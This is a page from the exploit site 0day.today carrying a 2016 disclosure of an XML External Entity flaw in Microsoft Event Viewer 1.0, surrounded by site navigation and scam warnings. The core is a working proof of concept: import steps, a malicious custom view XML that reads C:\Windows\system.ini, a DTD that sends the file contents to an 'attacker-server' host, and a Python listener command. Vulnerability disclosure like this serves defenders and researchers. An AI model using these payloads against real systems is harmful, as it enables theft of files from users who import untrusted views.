0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Event Viewer 1.0 - XML External Entity Injection Vulnerability
[[+] Credits: John Page aka hyp3rlinx Vendor: ================= www.microsoft.com Product: ======================== Microsoft Event Viewer Version: 1.0 The Windows Event Viewer shows a log of application and system messages – errors, information messages, and warnings. Vulnerability Type: =================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Windows Event Viewer user can import 'Custom View' files, these files contain XML, the parser processes External Entity potentially allowing attackers to gain remote file access to files on a victims system if user imports a corrupt XML file via remote share/USB (or other untrusted source). Tested Windows 7 SP1 Exploit code(s): =============== 1) Go to Windows CL type 'eventvwr' to bring up Windows Event Viewer. 2) Action / Import Custom View 3) Import the malicious 'MyCustomView.xml' via remote share or USB for POC 4) Files are accessed and sent to remote server. User gets error like "The specified custom view is not valid" attacker gets files! "payload.dtd" (host on attacker server) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker-server:8080?%file;'>"> %all; "MyCustomView.xml" (malicious windows Event Custom View XML) <?xml version="1.0"?> <!DOCTYPE APPARITION [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://attacker-server:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Attacker server listener python -m SimpleHTTPServer 8080 Disclosure Timeline: ===================================== Vendor Notification: August 30, 2016 Vendor reply: "does not meet the bar for security servicing." August 30, 2016 December 4, 2016 : Public Disclosure # 0day.today [2025-01-08] #